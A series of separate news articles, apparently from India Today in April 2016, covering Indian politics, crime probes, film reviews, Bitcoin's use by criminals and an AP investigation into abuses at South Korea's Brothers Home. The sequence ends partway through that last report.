Mallya has skipped three summons issued by ED in this regard in the past. He had also sought time till May to depose before agency investigators. ED has registered a money-laundering case against Mallya and others based on an FIR registered last year by the CBI. The agency is not only probing the financial structure of the now-defunct Kingfisher Airlines but also looking into any payment of kickbacks to secure loans from IDBI and probing laundering of funds to overseas destinations. The agency had alleged Mallya had siphoned off Rs 430 crore of the IDBI loan and used it to acquire properties abroad, a charge denied by Kingfisher.

Also Read: Kingfisher Airlines says Vijay Mallya never used bank money to buy property abroad



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Weng, a photography enthusiast, was visiting popular tourist attraction Yuntai Mountain in Henan Province when the accident occurred. He was rushed to a hospital but he succumbed to his injuries.

By India Today Web Desk: Weng Mao, the former chairman of a famous food company called White Rabbit, was killed after being struck in the head by a falling rock that a monkey had pushed.

The rock had been pushed by a macaque, a protected animal species in China, the South China Morning Post reported.

Weng, a photography enthusiast, was visiting popular tourist attraction Yuntai Mountain in Henan Province when the accident occurred. He was rushed to a hospital but he succumbed to his injuries.

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Although an employee at the travel agency told reporters that the tragedy was an accident and the monkeys aren't to blame, the park is now closed for an investigation.

The news went viral on social media in China because Weng's former firm owns the Dabaitu, or White Rabbit, a milk candy brand which has been very popular in the country since the 1960s.

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While opinions may differ on the NDA government's performance on the economy and social reforms front, one area where there has been a sea change is the citadel of power in South Block, the Prime Minister's Office (PMO).

Led by tech-savvy Prime Minister Narendra Modi's online push, the office is now more in touch with the common man, and more efficiently dealing with personal petitions, than ever before. The transformation is perhaps best reflected in the surge in representations to the PMO's public grievance wing. Against an average of about one lakh petitions per year when the UPA was in power, it's now up to nearly 6 lakh petitions annually over the last two years. The principal reason behind this: the public grievance wing is now only a few mouse-clicks away, connected to petitioners directly through both the internet and text messaging.

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The PMO is also dealing with petitions much faster-with a 50-member team filing and handling each petition electronically, and responding within two days on SMS and through online status updates. Applicants can now track their petitions, lodge reminders, and even see the action report generated by the departments concerned.

This substantive makeover is directly linked to a management redesign led by Modi and his officials soon after assuming office in May 2014. "The transformation of the grievance redressal system is rooted in the new management style of the PMO through process re-engineering," says Anurag Jain, a joint secretary in the PMO.

Soon after coming to power, Modi noticed that around 20 members of the public grievance wing were sitting in Rail Bhavan due to lack of space in South Block. Over the next few months, the process to free up office space to integrate the team began, while an execution plan was laid out for smoo-ther functioning and quick results.

Almost 200,000 files were checked, and about 60 per cent of them-some dating back to the 1960s-were disposed of. The total waste, including paperwork and unwanted furniture, was six truckloads. The 1,800 sq ft that was freed up allowed the public grievance wing to finally sit under one roof.

Then a swim lane flowchart was used to map each petition from arrival to disposal. This system, which segregates various processes into different lanes, revealed how long it took for a petition to move at every stage, and how this could be speeded up. An online petition platform was then created on the PM's official website, which was integrated with the centralised public grievance redressal and monitoring system (CPGRAMS), an online cell administered by the department of administrative reforms and public grievances (DARPG). This became part of the central mail management unit (CMMU) in the PMO's online redesign that ensured all such e-mails landed at the same place and could be monitored directly by the officers concerned.

These changes reduced reaction time considerably. In the past, petitions received on e-mails on multiple forums had to be downloaded and processed offline in physical files. This resulted in massive paperwork and made follow-up difficult. Today, all petitions can be tracked in real time. Ambuj Sharma, an under-secretary at the PMO, says disposal rate is over 80 per cent now.

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Another advantage of this method is that the PMO is able to analyse the nature of complaints received over time, which helps in making policy decisions. For example, there was a rule in the Jan Dhan Yojana that if an ATM card-holder didn't use the facility in the first 45 days of account opening, the health insurance facility under the scheme would not be available to them. After a series of complaints, the period was extended to 90 days.

Officers at work. Photo: Chandradeep Kumar

Shashi Kumar, a 28-year-old helper in the Railways workshop at Sabarmati in Ahmedabad, tells the story of how the PMO came to his aid. A resident of a small village in Saharanpur district, he had appeared for the Group D (helper/peon) exam in the Railways in 2013. Though he passed the tests, in his final verification he was rejected wrongly on health grounds. He petitioned the PMO on December 10, 2015. Within a fortnight, his papers were re-verified and Kumar joined service in January 2016.

Apart from the reformed public grievance system, another big change is the management of the PM's National Relief Fund, where the sanction of funds for applicants suffering from poor health and in need of urgent treatment has been made much faster. In fact, a personal letter from the PM now goes to the applicant when the fund is sanctioned, and a prior intimation reaches him through an automated text message. For a PM who believes in "optimum results", that's saying a lot.

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Follow the writer on Twitter @udaymahurkar

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By PTI: New Delhi, Apr 22 (PTI) IT industry body Nasscom has partnered the Netherlands government to promote "serious gaming" in India.

As part of the partnership, the two partners organised roadshows across Delhi, Mumbai, Pune and Bengaluru this month, focusing on showcasing the potential of gaming for various sectors.

Demos of solutions that have been developed and deployed by reputed Dutch games companies were showcased at these roadshows.

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Nasccom Gaming Forum also launched Special Interest Group (SIG) on Applied Gaming with Manisha Mohan (Executive Vice President at Tata Interactive Systems) as the Chairperson.

The group will also include members from companies like Robosoft, Indusgeeks, Skilldom and Madrat Games.

"India has just begun taking gaming seriously as a career and as an avenue to larger growth of the sector. The roadshow will act as an accelerator and encourage young talent to build innovative ideas for large scale applications," Nasscom Gaming Forum Chairman Rajesh Rao said.

The Netherlands government has also launched a joint venture -- Ludowise -- between Ijsfontein (gamification and applied learning solutions major) and India-based Dhruva Interactive.

Ludowise will provide mobile and PC based apps and solutions for skill development, enterprise customers, education, healthcare and cyber security.

With a rapidly digitising workplace, enabled by smartphones and high-speed Internet, emerging nations are showing great interest in using serious games, immersive simulation and use of gaming technologies to tackle issues like upskilling and high user engagement for training.

Serious gaming promises to give much greater return on investment as compared to traditional training models, by making learning much more engaging, effective, on-the-go. PTI SR ABK

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Nawaz Sharif, third-time Prime Minister of Pakistan, found himself in a soup a few days back after 11.5 million leaked documents exposed offshore assets of 40 political figures across the world, including him.

By India Today Web Desk: Refuting all the charges against him in the Panama Paper leaks, Pakistan Prime Minister Nawaz Sharif today said that he will resign if proven guilty in the infamous scandal.

Addressing the nation on the Panama Papers, Sharif said, "After Allah, I am only answerable to the people of Pakistan. I will resign if proven guilty," adding, "I have decided to write letters to Chief Justice of Pakistan for forming a commission to probe Panama leaks."

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Nawaz Sharif, third-time Prime Minister of Pakistan, found himself in a soup a few days back after 11.5 million leaked documents exposed offshore assets of 40 political figures across the world, including him.

Vowing to clear the names of his three children, Sharif and his family had said the assets were gained legally, mainly through the family's network of businesses and industries in Pakistan and Saudi Arabia.

Earlier, Sharif had said that the leaks are works of people "targeting me and my family for their political aims". He had said, "I say that those who are repeating tired accusations should go before this commission and prove their accusations."



Also read:

Panama Papers leak reveals Nawaz Sharif's offshore holdings

Panama Papers list Putin's aide, Nawaz Sharif, hundreds of Indians: 10 things to know



Election papers show Sharif's wealth up by Rs 1 billion in 4 years



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By PTI: New Delhi, Apr 22 (PTI) In her first overseas trip after assuming charge, Nepals first woman President Bidhya Devi Bhandari will visit India next month during which a range of important issues are likely to be deliberated upon by both sides.

External Affairs Ministry Spokesperson Vikas Swarup said Bhandari will be here at the invitation of President Pranab Mukherjee and that India was looking forward to welcome her.

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Nepalese Prime Minister K P Sharma Oli had visited India in February which was also his first foreign trip after becoming the premier in October.

"India shares unique civilisational links with Nepal. Our age-old ties have been constantly nurtured by frequent exchanges of high-level visits. We look forward to welcoming President of Nepal Vidya Devi Bhandari next month in India on her first official visit abroad since taking office," Swarup said.

He said Bhandari has also evinced an interest in participating in the Simhasth Kumbh which is being held in Ujjain in May. The Nepalese President will be staying in Presidents House during the New Delhi leg of her trip.

The bilateral ties between the two countries had faced turbulence in the recent past due to the months-long Madhesi agitation and subsequent blockade which halted the supply of essential goods to landlocked Nepal from India.

Madhesis, mostly of Indian-origin, have been demanding the new Constitution be amended to include their concerns about adequate political representation and redrawing of federal boundaries.

Swarup said Foreign Minister of Mongolia L Purevsuren will pay an official visit to India from April 27-29 during which he will co-chair the 5th India-Mongolia Joint Committee on Cooperation, along with External Affairs Minister Sushma Swaraj.

Prime Minister Narendra Modi had visited Mongolia in May last year.

Asked about the prime ministers visit to the US in June, Swarup said US President Barack Obama during his meeting with Modi during nuclear security summit in Washington had expressed a wish for a bilateral summit to review the progress of India-US bilateral ties.

Replying to a question on the Kohinoor issue, the spokesperson said, "Government of India remains committed to bringing back in an amicable fashion the valuable artifact which has strong roots in our history.

"Government of India will take all steps which are necessary to bring back the Kohinoor in an amicable manner."

Asked about observations on Maldives by Commonwealths human rights and democracy oversight body CMAG, Swarup said India was for stability and development of the island nation.

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"India has always supported stability, development and democracy and pluralism in the Maldives," he said, adding Indias long-standing position was recently articulated during Maldivian President Abdulla Yameen Abdul Gayooms recent visit here.

"India is a member of the CMAG and after its deliberations, a concluding statement has been issued. Obviously being a member of the CMAG, India is party to the statement and it speaks for itself," he said. PTI PYK MPB ZMN

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The photo was clicked by an Indian journalist Vivek Agarwal who went to Karachi a few years ago. Dawood reportedly resided in Moin Palace at that time, and has now moved into a new bungalow.

By India Today Web Desk: A new photo of underworld don Dawood Ibrahim has surfaced. India Today is in possession of a photo, which is said to be first full-length after 1993 Mumbai blasts.

The photo was clicked by an Indian journalist Vivek Agarwal who went to Karachi a few years ago. Dawood reportedly resided in Moin Palace at that time, and has now moved into a new bungalow.

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In this full-lenghth photo, Dawood, who is around 60-year-old now, is seen wearing a black and white kurta pyjama.

According to reports, Dawood has just shaved his mostache and has not underwent any plastic surgery.

Last year, India released a set of photographs of underworld don Dawood Ibrahim on August 22. While Pakistan has been denying presence of Dawood on its soil, India has maintained that the 1993 Mumbai serial bomb blasts mastermind has his base in Karachi's posh Clifton area.

As per reports, Dawood doesn't want his son to be related to crime and for this he has kept him totally away from all this. He has raised up his son and in a totally different atmosphere and has set up business and companies for his son to remain white collar.



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Maths is that five-letter word that evokes as much fear in some as the word devil. Against the background of complex equations, Ashwini Iyer Tiwari has set a sweet, straightforward tale of a stubborn teenager and her equally stubborn mother.

By Suhani Singh: Director: Ashwini Iyer Tiwari

Cast: Swara Bhaskar, Riya Shukla, Pankaj Tripathi, Ratna Pathak Shah

Ratings: (3/5)



Maths is that five-letter word that evokes as much fear in some as the word devil. Against the background of complex equations, Ashwini Iyer Tiwari has set a sweet, straightforward tale of a stubborn teenager and her equally stubborn mother.

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Chanda (effortlessly good Swara Bhaskar) is a single parent in Agra on a single-minded mission: to ensure that her daughter gets the education that will help her reach the heights that she couldn't. She toils, doing three jobs in a day, to ensure that Appu aka Apeksha (Riya Shukla) has a better life. But Appu (the A grade newcomer Riya Shukla) in the crucial tenth standard is more focussed on fooling around with her backbencher friends and idolising Ranbir Kapoor than overcoming her weakness: maths. Soon the sole source of joy in Chanda's life becomes a constant source of worry.

As one of the many who has struggled with the subject, Appu immediately wins your sympathy until her attitude problem comes in way. Appu has chosen her fate - follow her mother's footsteps and become a bai [domestic help] - and resigned herself to it without much fuss. But Appu's lack of ambition has Chanda annoyed, angry and disappointed. With the support of a persistent and benevolent employer (the amiable Ratna Pathak Shah), Chanda enrols in the same school as her daughter and even studies in the same class. A mother-daughter contest on 'who is better with numbers' begins. Also rise insecurities and dares.

Tiwari's film is as much about the mother-daughter bond as it is about the significance of aspirations and hard work. For all its plusses, Nil Battey Sannata has a few minuses in the unwarranted and mushy Sanjay Suri cameo, tendency to protract the gimmicky battle between Chanda and Appu and the preachy happy ending. Further, the implication that Appu's desire to be a maid or her friend's to be a driver makes them less driven human beings could have been addressed with some subtlety. But Tiwary does nail her two female leads, offering viewers a nuanced portrait of a temperamental teenager and a spirited woman.

From showering affection on her daughter to losing her cool with her, Bhaskar conveys a mother's tenderness and her frustrations with aplomb. The talented actress, best known for supporting parts in Tanu Weds Manu and Raanjhanaa, finally gets to carry a film on her shoulders. She also has a reliable partner in crime in Riya Shukla, who lives up to all the labels hurled at her -maharani to sonpari and gadhi to guddu. It's a tricky character to play for Appu's be-blunt and rebellious ways make her the so-called antagonist in the film. But the newcomer handles the part with an assuredness of a pro, never hesitating in her character's shades of grey. The film's funniest moments belong to Pankaj Tripathi as the enthusiastic, genial Principal and also math teacher, though he occasionally overdoes the antics

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The brightest stars of the film are its actors and Tiwari and her team of writers who celebrate the mother-daughter bond. Mother's Day is on May 8 and Nil Battey Sannata is a timely, fitting tribute to the paramount figure in all our lives without whom we are all lesser beings.

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The interesting fact in this novel protest was that each paper plane bore the contents of the entire electoral speech PM Modi had delivered in Agra on 13th November 2013.

By Siraj Qureshi: The long-standing demand of the people of Agra for an international airport in the city took an interesting turn when members of civil society and several other tourism and social organizations gathered at the Yamuna bank opposite the tomb of Itmad-ud-Daulah and flew paper airplanes for an hour, launched from a mock airport made out in the dried up Yamuna.

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The interesting fact in this novel protest was that each paper airplane bore the contents of the entire electoral speech Prime Minister Narendra Modi had delivered in Agra on 13th November 2013, promising a full river and a new international airport as soon as he came to power.

Talking to India Today, Rajeev Tiwari, President of Federation of Travel Associations said that it was clear that the Prime Minister has forgotten his promises as the airport that was supposed to be built in Agra, was now being shifted to Jewar near Delhi, while the Yamuna river is still dry. He said that the paper airplanes are a symbol of the bag of air Modi's promises turned out to be and they were being flown from inside the Yamuna to remind him that he still needs to fulfil those promises.

Prahlad Agarwal, President of Agra Tourist Welfare Chamber said that the tourism industry of Agra could benefit greatly if the airport is built in Agra, but if the same airport shifts to Jewar, it will deal a devastating blow to the local hospitality industry as no tourist will stay overnight in Agra, when there is an airport just 1.5 hours away via expressway. He said that Agra had the distinction of being India's first city to have three world heritage monuments, but without an airport, the city failed to reap the benefits that could come with these monuments.

Vishal Sharma, Chamber secretary said if a Greenfield airport was not possible so soon, the central government could at least work closely with the state government to get the Civil Air Terminal project started soon. He said that if completed within the coming 3-4 years, the new terminal could easily begin handling international charter and scheduled flights, effectively turning into an international airport, till a new Greenfield airport is built in close vicinity of Agra.

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Incidents of violence, complaints of voter intimidation and political clashes marred the polls in the crucial third phase of West Bengal Assembly election on Thursday.

By Soudhriti Bhabani: Incidents of violence, complaints of voter intimidation and political clashes marred the polls in the crucial third phase of West Bengal Assembly election on Thursday.

According to the Election Commission of India (ECI) officials, the average polling percentage stood at 79.22 per cent till 5pm while Murshidabad witnessed a polling of 79.29 per cent; Nadia 81.62 per cent; Kolkata North 57.05 per cent and Burdwan 78.26 per cent.

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A CPI-M polling agent, identified as Tahidur Islam (35), was killed by miscreants. His body was found outside a polling booth at Shibapara area of Domkal assembly segment in Murshidabad district.

Blaming the ruling Trinamool Congress for the killing, CPI-M candidate and former West Bengal animal husbandry minister Anisur Rahman alleged that Muslims were killed when bombs were hurled outside the polling booth as the ruling party workers were trying to unleash a reign of terror to intimidate voters.

In a separate incident, four people were injured in polling booths at Ketugram constituency in Burdwan district.

Also Read: West Bengal polls: One lakh security personnel posted for third phase



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The case came to light when the complainant, an American woman named Megan Peterson, who was allegedly raped by Father Jeyapaul when she was just 14, sued the Indian Church and claimed damages.

By India Today Web Desk: An Indian priest, who pleaded guilty last year of molesting a minor in the United States, has been rehabilitated by the Vatican in a church in Tamil Nadu.

The case came to light when the complainant, an American woman named Megan Peterson, who was allegedly raped by Father Jeyapaul when she was just 14, sued the Indian Church and claimed damages.

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Megan Peterson, in her complaint, said she feels "abused, degraded and re-victimized all over again."

While the Ootacamund (Ooty) Diocese in Tamil Nadu has remained silent so far, Megan Peterson herself has spoke exclusively to India Today putting forth her terrifying tale.

"It's a well known fact that perpetrators or sexual molesters generally don't stop at one victim. Infact there are multiple incidents involving him during his short stay in Minnesota. So, without a doubt children are at risk of being wounded by Father Joseph Jeyapaul," Peterson told India Today.

"Father Jeyapaul was a very manipulative, violent person. He used threat against me, my life to get me to cooperate with him," she added.

The 'molester priest was rehabilitated by Tamil Nadu Church Diocese in February 2016. '

Peterson's counsel Jeff Andersen, while talking to India Today, described Jeyapaul as a 'predator priest.'

" Jeyapaul had been convicted in the United States of having sexually abused a child...raped another child. And after having worked as a priest in Minnesota, US, and raped two children, he returned to India. We alerted the Vatican that this was a serious problem and we sued the Bishop in Ootacamund," Andersen said.

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Pulkit Samrat, who parted ways with wife Shweta Rohira after just a year of their marriage, has now revealed what probably went wrong in his marriage.

By India Today Web Desk: Time and again, Pulkit Samrat has had to deal with several rumours and speculation regarding his separation with Shweta Rohira. Pulkit and Shweta tied the knot in November 2014, and parted ways after just about a year of their marriage.

ALSO READ: Pulkit Samrat speaks out about moving in with Yami Gautam

ALSO READ: Pulkit Samrat says it's foolish to hold Yami Gautam responsible for his broken marriage

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Samrat has been linked with his Sanam Re co-star Yami Gautam for a long time now, but the two have maintained that they were just friends. Now, speaking to Hindustan Times, Samrat said how he and Shweta chose the wrong soul mates for each other.

"It is immature and very foolish to hold anyone responsible for the weakness that I would have in my relationship. I think we (Shweta and I) chose someone else's soul mates. We mistook each other as soul mates," said Samrat.

He went on to add, "If there is something that has worked for me or not worked for me in my personal life, then it is because I was at fault somewhere and maybe the other person was at fault. There can never be a third person affecting the two of us."

It was Pulkit's estranged wife Shweta who announced their separation in an interview to the Times of India in December last year. She had said, "My husband and I have been living separately for a while now. He told me that he was separating from me because of his family. To us, families are very important. They are our lifelines. And, since I always believed in giving him whatever he wants, I have reconciled to the fact that he has left me for his family."

During the promotions of Sanam Re in January-February this year, rumours about Pulkit and Yami being in a relationship reached an all-time high. Some reports also pointed out back then that all the link-up rumours were nothing but means to promote their film.

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A press release issued by the Delhi-based Bihar Information Centre of the state government has 'censored' the presence of Lalu Prasad during a recent meeting between his son Tejashwi Prasad Yadav and Union minister for highways and surface transport Nitin Gadkari.

By Giridhar Jha: Rashtriya Janata Dal president Lalu Prasad may not find anything unusual in overseeing the work of the key ministries headed by his two sons in Bihar but he remains an 'outsider', at least for the babus of the Nitish Kumar government.

A press release issued by the Delhi-based Bihar Information Centre of the state government has 'censored' the presence of Lalu Prasad during a recent meeting between his son Tejashwi Prasad Yadav and Union minister for highways and surface transport Nitin Gadkari.

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Tejashwi, the deputy chief minister in the Nitish Kumar government who also holds the additional portfolio of road construction, had called on Gadkari to discuss the Bihar's related projects on Tuesday evening. The meeting, which lasted about 90 minutes, was also attended among others by Lalu. Tejashwi subsequently posted a picture of their meeting on his Twitter handle in which his father and he were seen holding a bouquet with Gadkari.

A similar picture was later released by the Bihar government's public relations office, though it did not contain Lalu's image. Curiously, the portion of Lalu's photograph was conveniently snipped with the help of Photoshop. In the 'censored' photograph, a ghost image of a white cutout of Lalu appears alongside the photographs of Tejashwi and Gadkari.

Lalu's 'censored' picture came close on the heels of the widespread criticism over his alleged interference in the day-to-day affairs of the ministries headed by Tejashwi as well as his elder son Tej Pratap Yadav in the Nitish Kumar government.

Earlier, Lalu had visited the Indira Gandhi Institute of Medical Sciences (IGIMS) in Patna to oversee the facilities prompting the Opposition to question his authority to do so. Similarly, he had asked the Darbhanga civil surgeon to look into the retrenchment of some of the para-medical workers at the medical college and hospital in the district.

Also Read:

Tejaswi backs Lalus support to Nitish as PM

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Pachauri in a statement said that his term as a member of Governing Council has expired on March 31 this year and now it was time for him to end his association with TERI.

By India Today Web Desk: RK Pachauri, accused of sexual harassment by his former colleagues, announced his voluntary exit from Governing Council of TERI a day after reports of the governing council removing him floated.

While spokesperson of The Energy and Resources Institute's (TERI) did not confirm the content of the reports of removing Pachauri, he confirmed that Governing Council on April 18, 2016 and subsequently several decisions were taken in the meeting. The minutes of the meeting are currently awaiting approval.

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Pachauri in a statement said that his term as a member of Governing Council has expired on March 31 this year and now it was time for him to end his association with TERI.



"I feel it is for me to move away and get engaged in other interests which I have harboured over the past few years for activities at the global level," Pachauri said.

The report had quoted the spokesperson as saying: "Dr Pachauri's term as a Member of the Governing Council of TERI ended on March 31, 2016. As the post of Executive Vice Chairman (EVC) is co-terminus with this membership, his role as EVC also ended along with his membership of the Council."

Pachauri also appreciated his colleagues and said that TERI staff which is its greatest treasure will take the institute to greater heights under the new Director. General

"I have had the good fortune of leading TERI for three decades and a half and have received the priceless contribution from thousands of colleagues over the years in building up this Institute to level of an outstanding organisation.

"I began with TERI as the articulation of my dream and humanity's call for a major intellectual resource, which has now grown to a size and spread straddling the whole world, with a staff strength of around 1200 professionals and world class infrastructure and expertise," he said.



Pachauri was removed from the post of Director General last year after an FIR was filed against him following a complaint of sexual harassment made by a junior woman colleague. The Delhi Police had filed a charge-sheet him in the case early this year.

Despite the controversy, the green body's Governing Council created a fresh post of Executive Vice Chairman for Pachauri, triggering an outrage, following which he was asked to proceed on leave.

Earlier this year, two more former employees of TERI, one of them a foreign national, had also accused him of sexual harassment.

Former Finance Secretary Ashok Chawla was recently appointed Chairman of TERI's Governing Council.

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Salman Khan and Aishwarya Rai Bachchan might have parted ways more than a decade ago, but that doesn't keep their names from coming up together in discussions. Recent case in point: Aishwarya's upcoming film Sarbjit.

By India Today Web Desk: Salman Khan and Aishwarya Rai's relationship was one that kept gossip columns busy for a long time, back in the 2000s. The actors, who began dating each other during the shoot of Sanjay Leela Bhansali's Hum Dil De Chuke Sanam, have long parted ways. But even now, more than a decade after the two broke up, Salman and Aishwarya still occasionally find their names mentioned together.

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One such incident is director Omung Kumar's upcoming film Sarbjit, the biopic on Sarabjit Singh. Salman Khan had headed a campaign to free the wronged Indian prisoner from the jail in Pakistan he was imprisoned in. While there was much speculation that that part of the Sarabjit Singh saga would make it to the film, the director has said that it was never part of the script to begin with.

According to reports, a part of the story in Sarbjit supposedly concerned Salman Khan. In 2012, Salman had campaigned on Twitter to free the real-life Sarabjit Singh from jail in Pakistan where he was confined for over 20 years for alleged spying.

The film is about Sarabjit's sister Dalbir Kaur's struggle to get him freed.

Omung said, "This is just not true. We don't know who started it, or why. Salman's campaign to free Sarabjit was never part of our script. Ever! So where is the question of deleting an episode that was never in our film? We don't know who started this nonsense."

Meanwhile, a mutual friend of Aishwarya and Salman informed IANS, "Neither Salman nor Aishwarya wishes to have anything to do with one another. The last thing Salman would want is to have his name popping up in an Aishwarya-starrer. He doesn't take kindly to his name being used without his consent."

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By Suhani Singh: Director: Akashdeep

Cast: Boman Irani, Vir Das, Neha Dhupia, Lisa Haydon, Sanjai Mishra, Johnny Lever, Ram Kapoor, Tinnu Anand, Vijay Raaz

Ratings: 0.5/5)

Recovering from the mind-numbing assault of Kyaa Kool Hain Hum 3 and Mastizaade was hard enough, now audiences have to deal with yet another deadly blow in Santa Banta. Watching Santa Banta will leave viewers asking relevant questions. Were Santa Banta jokes so bad that they were good? Did they never ever make us laugh? That's the effect of this film which follows two-good-for-nothing Punjabis - Santa (Boman Irani) and Banta (Vir Das) - who are passed off as secret agents. Sent on a mission to rescue the Indian High Commissioner of Fiji, the fools court trouble consistently but the ensuing situations rarely make you giggle let alone draw a hearty laugh.

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"Humpe haske thodi si hasee aa jaati hai [They get a few laughs by laughing at us]," says one of the heroes. Sadly, there is no such joy to be derived from the film. Instead the film tests the limits of patience whenever the two leads, who are presented as the desi Dumb and Dumber, occupy the frame. The exchanges are never amusing and mostly exasperating especially with Banta's tendency to ask silly questions that drag the conversations. Santa Banta is the kind of film where supporting characters have to remind viewers that the heroes are "majakiyaan" [funny] which they clearly are not. Nothing makes sense here including the sudden shift to animated sketches and the ghastly use of green screen.

The Sikhs, who early on are wooed with descriptors such as "dilwale" and "khushmijaaz", will be bummed after watching this film for it makes them appear the unfunniest people to be around with. The Nepalis aren't spared either as Johnny Lever plays Choosa, a wannabe gangster who wears a skirt, a ridiculous moustache and is but obviously mistaken for Bahadur the watchman. Vijay Raaz gets to recite the one memorable one-liner of the film. A rotund Ram Kapoor is a sweaty antiques dealer, who makes viewers wonder is Fiji really that hot and where his make-up man was when he was most needed. Neha Dhupia screams her lungs out, perhaps venting her frustrations on being part of a bore of a film.

Poor Lisa Hayden takes her part of a secret agent so seriously that she forgets that this is a comedy. But given that nothing about this film is even remotely funny, you can't blame her. Irani and Das stick out as sore thumbs as two Sikh buddies, struggling to uplift the proceedings. It's not entirely their fault for apart from bad casting, the film has a bad script with jokes that fall flat. But it does come with the odd warning sign. "Main toh pagal ho jaaoongaa," says one frustrated character. It is akin to what the audiences will feel after watching this film.

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According to experts, Bitcoin and the dark web- where sites are hidden from search engines like Google- form a deadly cocktail as it is very tough to trace a user carrying out transactions through specific software.

By Ankur Sharma: The digital currency Bitcoin is on the radar of India's security and intelligence agencies with sex syndicates, arms and drugs traders and even terrorist groups preferring it as a medium of exchange over cold, hard cash.

The Centre has asked authorities to keep a close watch on the maverick payment tool with near anonymity built into its system that makes it ideal for criminals. The cryptocurrency allows illegal operations with the speed of the internet, but with the secrecy of a cash deal. Bitcoin, heralded as a new way to conduct a broad array of financial transactions, costs about `29,000 apiece and the price fluctuates every day. The home ministry has taken up the security issue with the finance ministry and RBI: in a secret communication it said the currency is being used for crimes, including drug trafficking, illegal arms trade and prostitution in India.

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According to experts, Bitcoin and the dark web- where sites are hidden from search engines like Google- form a deadly cocktail as it is very tough to trace a user carrying out transactions through specific software.

"Bitcoin was introduced to the public in 2008 but due to its features it is now majorly used in criminal activities," said Pawan Duggal, who advises organisations on cyber laws. "It became more dangerous when users started using it through the darknet, which can only be accessed by specialised software."

While every Bitcoin transaction is public, the parties involved are kept anonymous as addresses can be created without providing any personal information. The virtual currency has also been used before in ransomware - a type of malware that restricts computer access unless a ransom is paid.

"We need a close watch on the use of the Bitcoin currency in financial transactions because Bitcoin as the currency of the underground internet is also being used in drug trafficking, illegal arms trade and prostitution. There is a need to have effective regulations regarding the use of Bitcoin. MHA to take up the matter with ministry of finance and Reserve Bank of India," said a government note sent to various intelligence units that was accessed by Mail Today.

According to a senior Delhi Police officer in the economic offences wing, Bitcoin is fast becoming the preferred choice in illegal transactions.

Bitcoin currency transactions need monitoring as this method of sending money to any part of the world is being used by criminal syndicates, including organised prostitution, involving fat deals," he said. "It has been noticed that people involved in prostitution are sending money from abroad through Bitcoin to various parts of Mumbai, Delhi, etc."

Though in India companies seek PAN card details for such transactions, the process is not foolproof, say experts. One way of bypassing the check is to download a particular software and use it through a hidden network that cannot be traced. Bengaluru Police recently found a trail of Bitcoins used to buy drugs from a dark site. Investigators said three students purchased banned Ecstasy pills from a website, which were delivered by courier. ATMs have also come up in some countries that allow the user to carry out cash transactions in exchange for Bitcoins, which are transferred to the person's virtual wallet.

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Also Read:

Bitcoin wallet Zebpay crosses Rs 100 cr turnover



--- ENDS ---
Nobody has been held accountable to date for the rapes and killings at the Brothers compound because of a cover-up orchestrated at the highest levels of government.

By AP: The 14-year-old boy in the black school jacket stared at his sneakers, his heart pounding, as the policeman accused him of stealing a piece of bread.

Even now, more than 30 years later, Choi Seung-woo weeps when he describes all that happened next. The policeman yanked down the boy's pants and sparked a cigarette lighter near Choi's genitals until he confessed to a crime he didn't commit. Then two men with clubs came and dragged Choi off to the Brothers Home, a mountainside institution where some of the worst human rights atrocities in modern South Korean history took place.

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A guard in Choi's dormitory raped him that night in 1982 - and the next, and the next. So began five hellish years of slave labor and near-daily assaults, years in which Choi saw men and women beaten to death, their bodies carted away like garbage.

Choi was one of thousands - the homeless, the drunk, but mostly children and the disabled - rounded up off the streets ahead of the 1988 Seoul Olympics, which the ruling dictators saw as international validation of South Korea's arrival as a modern country. An Associated Press investigation shows that the abuse of these so-called vagrants at Brothers, the largest of dozens of such facilities, was much more vicious and widespread than previously known, based on hundreds of exclusive documents and dozens of interviews with officials and former inmates.

Yet nobody has been held accountable to date for the rapes and killings at the Brothers compound because of a cover-up orchestrated at the highest levels of government, the AP found. Two early attempts to investigate were suppressed by senior officials who went on to thrive in high-profile jobs; one remains a senior adviser to the current ruling party. Products made using slave labor at Brothers were sent to Europe, Japan and possibly beyond, and the family that owned the institution continued to run welfare facilities and schools until just two years ago.

Even as South Korea prepares for its second Olympics, in 2018, thousands of traumatized former inmates have still received no compensation, let alone public recognition or an apology. The few who now speak out want a new investigation.

The current government, however, refuses to revisit the case, and is blocking a push by an opposition lawmaker to do so on the grounds that the evidence is too old.

Ahn Jeong-tae, an official from Seoul's Ministry of the Interior, said focusing on just one human rights incident would financially burden the government and set a bad precedent. The Brothers' victims, he said, should have submitted their case to a temporary truth-finding commission established in the mid-2000s to investigate past atrocities.

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"We can't make separate laws for every incident and there have been so many incidents since the Korean War," Ahn said.

Former inmates, however, cannot forget. One spent months standing quietly in front of the National Assembly with a signboard demanding justice. Choi has attempted suicide several times and now attends weekly therapy sessions.

"The government has consistently tried to bury what happened. How do you fight that? If we spoke up, who would have heard us?" he asked. "I am wailing, desperate to tell our story. Please listen to us."

___

"HELL WITHIN A HELL"

Once an orphanage, Brothers Home at its peak had more than 20 factories churning out woodwork, metalwork, clothing, shoes and other goods made by mostly unpaid inmates. The sprawling compound of concrete buildings rose above the southern port city of Busan, its inmates hidden from view by tall walls and kept there by guards who carried bats and patrolled with dogs.

The horrors that happened behind those walls are inextricably linked to South Korea's modern history.

The country at the time was still recovering from the near-total devastation of the 1950-53 Korean War, which followed nearly four decades of brutal Japanese colonization. From the 1960s until the '80s, before democracy, it was ruled by military dictators who focused overwhelmingly on improving the economy.

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In 1975, dictator President Park Chung-hee, father of current President Park Geun-hye, issued a directive to police and local officials to "purify" city streets of vagrants. Police officers, assisted by shop owners, rounded up panhandlers, small-time street merchants selling gum and trinkets, the disabled, lost or unattended children, and dissidents, including a college student who'd been holding anti-government leaflets.

They ended up as prisoners at 36 nationwide facilities. By 1986, the number of inmates had jumped over five years from 8,600 to more than 16,000, according to government documents obtained by AP.

Nearly 4,000 were at Brothers. But about 90 percent of them didn't even meet the government's definition of "vagrant" and therefore shouldn't have been confined there, former prosecutor Kim Yong Won told the AP, based on Brothers' records and interviews compiled before government officials ended his investigation.

The inner workings of Brothers are laid bare by former inmate Lee Chae-sik, who had extraordinary access as personal assistant to the man in charge of enforcing the rules. The AP independently verified many of the details provided by Lee, now 46, through government documents.

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Lee was sent to Brothers at 13 after trouble at school. His first job was in a medical ward. Twice a day, Lee and four others, none of whom had medical training, would try to care for patients, often dousing their open wounds with disinfectant or removing maggots with tweezers.

"People screamed in pain, but we couldn't do much," Lee said. "It was a hell within a hell. The patients had been left there to die."

Stronger inmates raped and beat the weak and stole their food, he said. Lee attempted suicide after a guard at the medical ward raped him.

